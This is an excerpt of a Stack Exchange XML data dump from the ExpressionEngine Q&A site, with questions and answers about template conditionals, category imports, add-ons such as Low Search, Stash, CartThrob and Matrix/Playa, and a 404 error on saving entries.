  <row Id="35271" PostTypeId="1" AcceptedAnswerId="35272" CreationDate="2016-01-14T09:59:56.633" Score="0" ViewCount="153" Body="&lt;p&gt;I am quite new to Expression Engine and am trying to get a handle on the template system. I have a nav with items that I want to set to active if they link to the current page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the link built like this so far: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{site_url}ranges/view/{url_title}&quot;&amp;gt;&#xA;   {menu_label}&#xA;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The comparison I want to do is as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if ((site_url + 'ranges/view' + url_title) == current_url) -&gt; output class=&quot;active&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried the following but I get a Parse/Syntax Error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{site_url}ranges/view/{url_title}&quot; {if (site_url + 'ranges/view/' + url_title) == current_url}class=&quot;active&quot;{/if}&amp;gt;&#xA;   {menu_label}&#xA;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="7000" LastActivityDate="2016-01-14T20:47:09.283" Title="Comparing the siteURL variable to the current URL" Tags="|templates|site-url|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35272" PostTypeId="2" ParentId="35271" CreationDate="2016-01-14T11:01:37.960" Score="0" Body="&lt;p&gt;Do you really want to compare the whole url? If not, it is easier to only compare the entry url_title and the url_title from the current url like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if url_title == segment_3}class=&quot;active&quot;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.expressionengine.com/latest/templates/globals/url_segments.html&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; you can find more information about url segments.&lt;/p&gt;&#xA;" OwnerUserId="6205" LastActivityDate="2016-01-14T11:01:37.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35273" PostTypeId="1" AcceptedAnswerId="35274" CreationDate="2016-01-14T13:50:25.863" Score="0" ViewCount="176" Body="&lt;p&gt;Having difficulties importing nested categories from a CSV. Currently I have a single categories column, formatted as follows: 'parentcategoryname, subcategoryname'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The subcategories all have unique URIs but their names are not unique. So, the subcategory with the correct name will be selected on import, but it will be under the incorrect parent category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to import nested categories, and I just have my CSV set up incorrectly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE version 2.9.2, Datagrab version 1.9.2&lt;/p&gt;&#xA;" OwnerUserId="6611" LastEditorUserId="6611" LastEditDate="2016-01-14T13:58:53.430" LastActivityDate="2016-01-14T14:12:19.917" Title="Importing nested categories with Datagrab" Tags="|categories|datagrab|import|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35274" PostTypeId="2" ParentId="35273" CreationDate="2016-01-14T14:12:19.917" Score="3" Body="&lt;p&gt;From the Developer: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use a slash ‘/‘ to separate subcategories, so you can do something like, 'Category / SubCategory'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The delimiter is hard-coded but if you want to change it is around line 1420 of models/datagrab_model.php:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$delim_cats = explode('/', $cat);&lt;/p&gt;&#xA;" OwnerUserId="6611" LastActivityDate="2016-01-14T14:12:19.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35275" PostTypeId="1" CreationDate="2016-01-14T15:18:25.067" Score="0" ViewCount="80" Body="&lt;p&gt;I need to have the Solspace Calendar filtered by categories. Is there any working templates out there for reference?&lt;/p&gt;&#xA;" OwnerUserId="7001" LastActivityDate="2016-01-14T15:28:11.003" Title="Solspace Calendar - Category Filtering" Tags="|categories|solspace|calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35276" PostTypeId="2" ParentId="35275" CreationDate="2016-01-14T15:28:11.003" Score="2" Body="&lt;p&gt;Use the documentation to determine how you should configure your templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://solspace.com/expressionengine/calendar/docs/&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/expressionengine/calendar/docs/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try using this parameter to filter by category:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://solspace.com/expressionengine/calendar/docs/cal/#category&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/expressionengine/calendar/docs/cal/#category&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll have to be more specific about what you're trying to do for anyone to give you a good example. As for &quot;working templates&quot;, EE and how you retrieve parameters for your tags varies widely so again, if you could be more specific perhaps we could help you better.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2016-01-14T15:28:11.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35279" PostTypeId="2" ParentId="30473" CreationDate="2016-01-14T18:48:11.143" Score="2" Body="&lt;p&gt;You can get a category count without using PHP using a if statement on a string built by the {categories} tag inside of the entry's exp:channel:entries tags. such as this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries}&#xA;    {if {categories}1{/categories}=='1'}&#xA;&#xA;        entry has 1 category&#xA;&#xA;    {if:else}&#xA;&#xA;        entry has multiple categories.&#xA;        {!-- i.e.: if '111' == entry has 3 categories  --}&#xA;&#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7003" LastEditorUserId="3579" LastEditDate="2016-01-14T18:57:23.403" LastActivityDate="2016-01-14T18:57:23.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35280" PostTypeId="2" ParentId="35271" CreationDate="2016-01-14T20:47:09.283" Score="0" Body="&lt;p&gt;I expect that you're getting parse errors as EE can't handle the &quot;+&quot; symbol, as it's for mathematical &lt;a href=&quot;https://docs.expressionengine.com/latest/templates/conditionals.html#mathematic-operators&quot; rel=&quot;nofollow noreferrer&quot;&gt;addition&lt;/a&gt;, not &lt;a href=&quot;https://docs.expressionengine.com/latest/templates/conditionals.html#string-concatenation-operator&quot; rel=&quot;nofollow noreferrer&quot;&gt;concatenation&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But fundamentally it won't work as {site_url} is parsed late, so can't be used in conditionals, see &lt;a href=&quot;http://loweblog.com/downloads/ee-parse-order.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; for parse order details or more depth &lt;a href=&quot;https://docs.expressionengine.com/latest/templates/template_engine.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; on the EE website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've written out the solution in &lt;a href=&quot;https://stackoverflow.com/questions/25771165/conditional-using-site-url-is-always-false&quot;&gt;another Stack Exchange post&lt;/a&gt;, which is to use a custom config variable, the alternative is replace site_url and hard code the protocol &amp;amp; domain, but that's not good if you have multiple environments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be aware of the downfalls of comparing url_title with segment_3 in a conditional, as this will match true even if there is a segment_4 in the url.&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2016-01-14T20:47:09.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35281" PostTypeId="1" CreationDate="2016-01-14T23:36:50.787" Score="0" ViewCount="97" Body="&lt;p&gt;I'm having a problem with EE; when updating or creating an entry I get redirected to the 404 page. I've researched a lot because this is getting annoying. I've tried checking the .htaccess as a common response to this question. My index.php is present and my .htaccess is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;    RewriteEngine On&#xA;    RewriteBase /&#xA;&#xA;    # Removes index.php from ExpressionEngine URLs&#xA;    RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;    RewriteCond %{REQUEST_URI} !/system/.* [NC]&#xA;    RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,NE,L]&#xA;&#xA;    # Directs all EE web requests through the site index file&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xA;    RewriteRule ^(.*)$ /index.php?/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTP_HOST} ^studio24\.24studiohnserver\.com$ [OR]&#xA;RewriteCond %{HTTP_HOST} ^www\.studio24\.24studiohnserver\.com$&#xA;RewriteRule ^/?$ &quot;http\:\/\/cumminsca\.com\/&quot; [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Seems fine; I also tried with changing the &lt;code&gt;$config['uri_protocol'] = 'AUTO';&lt;/code&gt; in config.php to all the other options, but no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I changed the &lt;code&gt;Force URL query strings&lt;/code&gt; option, tried yes and no, no luck.&#xA;My site's root directory is set to full URL, not &quot;/&quot;. I'm using version &#xA;2.7.0 of Expression Engine, when enabling the debug option my output is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Template group and template not found, showing 404 page&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is weird. I can't create new entries or make changes, and I haven't done any changes to my site configuration, it just stopped working. My only other guess is the hosting company changed something in their protocols and it's making EE go crazy. Any help with this will be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="7002" LastEditorUserId="7705" LastEditDate="2017-04-07T15:07:26.737" LastActivityDate="2017-04-07T15:07:26.737" Title="Entries can't be updated - 404" Tags="|database|config|404|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35282" PostTypeId="1" AcceptedAnswerId="35286" CreationDate="2016-01-15T11:09:19.747" Score="0" ViewCount="129" Body="&lt;p&gt;We are currently running 2.6 on EE 2.10.1 and are looking to upgrade to 3.x. I can see 2.7 is available to download but does that have full EE 3 support? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if so, is there a migration guide? We use a number of Cartthrob hooks too so we'd need to understand any changes that may affect our own add-ons.&lt;/p&gt;&#xA;" OwnerUserId="506" LastActivityDate="2016-01-15T14:16:27.227" Title="Has Cartthrob been updated to work with ExpressionEngine 3.x?" Tags="|cartthrob|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35284" PostTypeId="2" ParentId="35282" CreationDate="2016-01-15T11:51:49.187" Score="0" Body="&lt;p&gt;I don't think it's available yet, but they're working on it: &lt;a href=&quot;https://twitter.com/cartthrob/status/654290601026977792&quot; rel=&quot;nofollow&quot;&gt;https://twitter.com/cartthrob/status/654290601026977792&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6825" LastActivityDate="2016-01-15T11:51:49.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35285" PostTypeId="2" ParentId="35219" CreationDate="2016-01-15T12:03:03.360" Score="0" Body="&lt;p&gt;Looking at the output the stash is capturing white space and EE doesn't like that for var values. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When setting your initial stash, add the param &lt;code&gt;trim=&quot;yes&quot;&lt;/code&gt; - this will remove any whitespace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&#xA;Your stash var: MedlemLetterAuthor should output in 1 line: 1|38|9999 etc. As I wrote initially add the trim to THE FIRST SET STASH!!!!!!&lt;/p&gt;&#xA;" OwnerUserId="166" LastEditorUserId="166" LastEditDate="2016-01-17T01:16:52.053" LastActivityDate="2016-01-17T01:16:52.053" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35286" PostTypeId="2" ParentId="35282" CreationDate="2016-01-15T14:16:27.227" Score="4" Body="&lt;p&gt;(I work at Vector; we own CartThrob)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We haven't released an EE3 version yet but we're actively working on it and pretty close. We hope to share a more exact timeline with the community very shortly!&lt;/p&gt;&#xA;" OwnerUserId="376" LastActivityDate="2016-01-15T14:16:27.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35287" PostTypeId="1" CreationDate="2016-01-16T00:51:05.353" Score="0" ViewCount="30" Body="&lt;p&gt;I've set up a &quot;Channel Images&quot; field that has a comma-separated list of categories. The client wants to modify the order of that list. If I change the order of those categories, will that mess anything up? Will any existing category assignments be lost?&lt;/p&gt;&#xA;" OwnerUserId="567" LastActivityDate="2016-05-29T01:14:12.763" Title="Will changing the order of Channel Images categories screw anything up?" Tags="|channel-images|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35288" PostTypeId="2" ParentId="35221" CreationDate="2016-01-16T00:54:51.613" Score="0" Body="&lt;p&gt;As it turns out, I was able to develop an alternative solution using the Channel Images add-on.&lt;/p&gt;&#xA;" OwnerUserId="567" LastActivityDate="2016-01-16T00:54:51.613" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35290" PostTypeId="1" AcceptedAnswerId="35583" CreationDate="2016-01-16T22:14:58.950" Score="0" ViewCount="25" Body="&lt;p&gt;I do not know how to put it, there seem to be confusion.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div class=&quot;row small-up-2 medium-up-4 large-up-6&quot; &amp;gt;&#xA;  {exp:low_options:material_content}&#xA;    {options}&#xA;        &amp;lt;div class=&quot;column&quot;&amp;gt;&amp;lt;input id=&quot;{option:label}&quot; type=&quot;checkbox&quot; name=&quot;search:material_content[]&quot; value=&quot;{option:value}&quot;&#xA;        {if low_search_search:material_content ~ '/(^|\|)'.option:value.'(\||$)/'} checked{/if}&amp;gt;&amp;lt;label for=&quot;checkbox1&quot;&amp;gt;{option:label}&amp;lt;/label&amp;gt;&amp;lt;/div&amp;gt;&#xA;      &amp;lt;/label&amp;gt;&#xA;    {/options}&#xA;  {/exp:low_options:material_content}&#xA;  &amp;lt;button type=&quot;submit&quot;&amp;gt;sök material&amp;lt;/button&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;show, in my form, checkboxes corresponding to field content (as expected) but &lt;strong&gt;also content from a category group!&lt;/strong&gt;. As checkbox, yes.&#xA;The form does not give any result either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can provide screenshots but do not know how to attach them to this question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help highly appreciated, because itäs just confusion here.. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1615" LastActivityDate="2016-02-17T07:43:49.783" Title="Low Search with LOW_options mix channel field with category" Tags="|low-search|low|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35292" PostTypeId="2" ParentId="35287" CreationDate="2016-01-17T01:25:25.983" Score="0" Body="&lt;p&gt;Haven't used channel images but technically speaking, changing order of categories is purely a visual order, EE refers categories internally by ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply changing an order does not generally affect anything assigned to it.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2016-01-17T01:25:25.983" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35293" PostTypeId="1" AcceptedAnswerId="35297" CreationDate="2016-01-18T00:01:21.057" Score="0" ViewCount="64" Body="&lt;p&gt;We have build a site where members publish images in entrees which are tagged ( one or more tags). By using Profile:edit there also exists a channel with  Member_data like name and adress. The author_id of entries in Images is therefore the same as one entry in Member_data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My client wants to be able to search for tags, see in the result a collection of images and (in a sidebar) a list of all the authors as links to their own Profile Template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that the authorlist show authors more than once ( if more than one image-entry of that author has been found).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I must therefore create, per search result, a dynamic index of authors, and I do not know how.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there someone that has done this before? Is this someting for the query module, or is there an addon?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for pointing me in the right direction.&lt;/p&gt;&#xA;" OwnerUserId="1615" LastEditorUserId="1615" LastEditDate="2016-01-18T04:32:42.560" LastActivityDate="2016-02-19T00:10:37.990" Title="Create list of authors, but no repetion (LOW search)" Tags="|search|low-search|query|filter|query-module|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35294" PostTypeId="2" ParentId="35293" CreationDate="2016-01-18T09:45:44.710" Score="0" Body="&lt;p&gt;Low Search will always return &lt;strong&gt;channel entries&lt;/strong&gt;, whether that be News articles or Member data (which is a channel in your case).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your search results, you basically want two lists:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Unique entries from the channel &quot;Images&quot;;&lt;/li&gt;&#xA;&lt;li&gt;Unique entries from the channel &quot;Member_data&quot;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The tricky thing is that #2 is related to #1 in the sense that you should only show entries from the Member_data channel that share an author_id with the entries from Images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not something Low Search can do out of the box. You'd need some custom filters/extensions in order to make it work. You can &lt;a href=&quot;http://gotolow.com/contact&quot; rel=&quot;nofollow&quot;&gt;contact me&lt;/a&gt; for a quote.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2016-01-18T09:45:44.710" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35295" PostTypeId="2" ParentId="34870" CreationDate="2016-01-18T10:19:59.843" Score="0" Body="&lt;p&gt;I got an email back from Charge, you need to edit That's just one change in mod.charge.php, changing the regex to :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;preg_match(&quot;/[^\pL\d\s\-]/u&quot;, $val, $matches);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;They are working on a fix for this at the moment.&lt;/p&gt;&#xA;" OwnerUserId="886" LastActivityDate="2016-01-18T10:19:59.843" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35296" PostTypeId="2" ParentId="35281" CreationDate="2016-01-18T10:54:25.460" Score="0" Body="&lt;p&gt;You are getting this error because the requested template is not found in your database. So because of that I don't think it is related to the rewrite rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you saving your files on your server? Than you can try to synchronize your templates. In your cp menu: design -&gt; templates -&gt; synchronize templates.&lt;/p&gt;&#xA;" OwnerUserId="6205" LastActivityDate="2016-01-18T10:54:25.460" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35297" PostTypeId="2" ParentId="35293" CreationDate="2016-01-18T10:56:06.397" Score="0" Body="&lt;p&gt;I made it work with Stash, set list, end get list with the tag 'unique' to filter author_id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Getting the data (=search result):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only want author, and (for the url) channel of the entry, author_id and entry_id.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:stash:set_list name=&quot;my_list&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;{exp:low_search:results&#xA;  query=&quot;{segment_2}&quot;&#xA;  status=&quot;not closed&quot;&#xA;  disable=&quot;member_data|category_fields&quot;&#xA;  require_all=&quot;category&quot;&#xA;}&#xA; {stash:item_title}{author}{/stash:item_title}&#xA; {stash:item_artist_id}{author_id}{/stash:item_artist_id}&#xA; {stash:item_id}{entry_id}{/stash:item_id}&#xA; {stash:item_channel}{channel_name}{/stash:item_channel}&#xA;{/exp:low_search:results}&#xA; {/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then printing the data, filtered by author_id (which I want to be unique)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;li_LinkRColumn&quot;&amp;gt;&#xA;{exp:stash:get_list name=&quot;my_list&quot; unique=&quot;item_artist_id&quot;}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='Kcvast/konstnar/{item_artist_id}/{item_channel}/{item_id}'}&quot;&amp;gt;{item_title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/exp:stash:get_list}&#xA;    &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1615" LastActivityDate="2016-01-18T10:56:06.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35298" PostTypeId="1" CreationDate="2016-01-18T12:12:36.473" Score="0" ViewCount="362" Body="&lt;p&gt;I'm getting a server error on going to admin.php to do an install. The error details read '[the website] may be down for maintenance or configured incorrectly'. PHP is running OK. I've used the EE installation wizard to check the database settings. I've tried versions 2.10.2, 2.10.1, 2.9.2. Checked the ownership prefs, tried an installation without renaming the system folder. There is no htaccess file on the server. I've installed EE many times with the same host. I can't see what's going wrong.&lt;/p&gt;&#xA;" OwnerUserId="2024" LastActivityDate="2019-04-16T13:02:26.060" Title="Server 500 error on installation" Tags="|server|install|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35299" PostTypeId="2" ParentId="33956" CreationDate="2016-01-18T12:39:34.147" Score="0" Body="&lt;p&gt;Yes.&#xA;I use a mixture of stash, switchee and native ee.&#xA;all of my 'template' groups (essential for url segs) simply load in my master template with a number of prliminary variables. e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;_global/.master&quot;&#xA;    nav_channel=&quot;{segment_1}&quot;   {!-- Channel for entries to be listed from this page/section --}&#xA;    nav_id=&quot;02&quot;                 {!-- The navigation position of this section - css class for nav selection --}&#xA;    url_title=&quot;{last_segment}&quot;  {!-- usually last_segment --}&#xA;    page_preset=&quot;default&quot;       &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then within my master I have a case by case check (switchee) on the URL then depending on the URL/URL segment I load in the template(s) for the content. &#xA;So using this, depending on the URL segment you could load in a different style sheet in your head, different content segment areas in the body, and different footer, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stash is used to 'store' all my field content. &#xA;this way I declare it once in my 'master' then can call it up in my templates no matter how deep my templates go, instead of having to embed and re-embed (though you may not have that problem with a small site).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="3592" LastActivityDate="2016-01-18T12:39:34.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35303" PostTypeId="1" AcceptedAnswerId="35311" CreationDate="2016-01-18T17:46:20.503" Score="0" ViewCount="31" Body="&lt;p&gt;On a new project, the client requires that it be possible to add/modify all text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will be using channel entries to hold majority of the 'content' text, but I am more perplexed by how I should allow text editing for hard coded items, like button text, headers, navigation etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, I would like to be able to code variables into the templates without any wrapping tags. Essentially like a global variable. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;submit&quot; val=&quot;{lang_login_btn}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{lang_login_btn}&lt;/code&gt; being the variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The text all needs to be manageable by the client, so there has to be some kind of control panel interface, or at the very least a 'lang' document.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would you recommend for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A custom module? If so, is it possible to have a module that can output variables like this without the use of wrapping tags?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have built many plugins and extensions, but only basic modules without control panel interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any direction would be greatly appreciated. &lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2016-01-19T07:57:52.150" Title="Lang text with control panel interface" Tags="|add-on-development|module|plugin|extension|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35304" PostTypeId="1" CreationDate="2016-01-18T20:07:17.083" Score="0" ViewCount="38" Body="&lt;p&gt;I've found a couple other posts regarding same issue, but can't seem to resolve with any solutions out there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything is outputting fine except content in tag pair &lt;code&gt;{studies_outline_block}&lt;/code&gt;, which is a matrix field inside a playa field inside of a matrix field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $i = 1; ?&amp;gt;     &#xA;&#xA;{exp:channel:entries channel=&quot;pages&quot;}&#xA;    {studies_projects}&#xA;        &amp;lt;div class=&quot;col-sm-6 col-md-4 col-lg-3 col-xs-12&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;project-box &quot;&amp;gt;&#xA;                &amp;lt;img src=&quot;{image}&quot; alt=&quot;{cat_name} category image&quot;&amp;gt;&#xA;                &amp;lt;h3&amp;gt;{cat_name}&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;ul&amp;gt;&#xA;                {playa_projects}&#xA;                    &amp;lt;?php $count = $i++; ?&amp;gt;&#xA;                    &amp;lt;li&amp;gt;&amp;lt;a class=&quot;fancybox&quot; href=&quot;#inline-&amp;lt;?php echo $count; ?&amp;gt;&quot; title=&quot;{studies_caption}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    &amp;lt;div id=&quot;inline-&amp;lt;?php echo $count; ?&amp;gt;&quot; style=&quot;display:none;&quot;&amp;gt;&#xA;                        &amp;lt;div id=&quot;slider&amp;lt;?php echo $count; ?&amp;gt;&quot; class=&quot;flexslider slider-js&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;flex-heading&quot;&amp;gt;&#xA;                                &amp;lt;div class=&quot;col-md-6&quot;&amp;gt;&#xA;                                    &amp;lt;h2&amp;gt;{project_name}&amp;lt;/h2&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                                {studies_outline_block}&#xA;                                        &amp;lt;div class=&quot;col-md-2 project-name&quot;&amp;gt;&#xA;                                            &amp;lt;h3&amp;gt;Project Size&amp;lt;/h3&amp;gt;&#xA;                                            {content_1}&#xA;                                        &amp;lt;/div&amp;gt;&#xA;&#xA;                                        &amp;lt;div class=&quot;col-md-2 project-name&quot;&amp;gt;&#xA;                                            &amp;lt;h3&amp;gt;Project Cost&amp;lt;/h3&amp;gt;&#xA;                                            {content_2}&#xA;                                        &amp;lt;/div&amp;gt;&#xA;                                        &amp;lt;div class=&quot;col-md-2 project-name&quot;&amp;gt;&#xA;                                            &amp;lt;h3&amp;gt;Project Use&amp;lt;/h3&amp;gt;&#xA;                                            {content_3}&#xA;                                        &amp;lt;/div&amp;gt;&#xA;                                {/studies_outline_block}&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;ul class=&quot;slides&quot;&amp;gt;&#xA;                                {studies_image_gallery}&#xA;                                    &amp;lt;li&amp;gt;&amp;lt;img src=&quot;{url}&quot; /&amp;gt;&amp;lt;/li&amp;gt;&#xA;                                {/studies_image_gallery}&#xA;                            &amp;lt;/ul&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div id=&quot;carousel&amp;lt;?php echo $count; ?&amp;gt;&quot; class=&quot;flexslider carousel-js&quot;&amp;gt;&#xA;                            &amp;lt;ul class=&quot;slides&quot;&amp;gt;&#xA;                                {studies_image_gallery}&#xA;                                    &amp;lt;li&amp;gt;&amp;lt;img src=&quot;{url}&quot; /&amp;gt;&amp;lt;/li&amp;gt;&#xA;                                {/studies_image_gallery}&#xA;                            &amp;lt;/ul&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                {/playa_projects}&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/studies_projects}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2889" LastActivityDate="2016-05-30T17:41:45.153" Title="Outputting a Matrix inside of a Playa field" Tags="|matrix|templates|playa|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
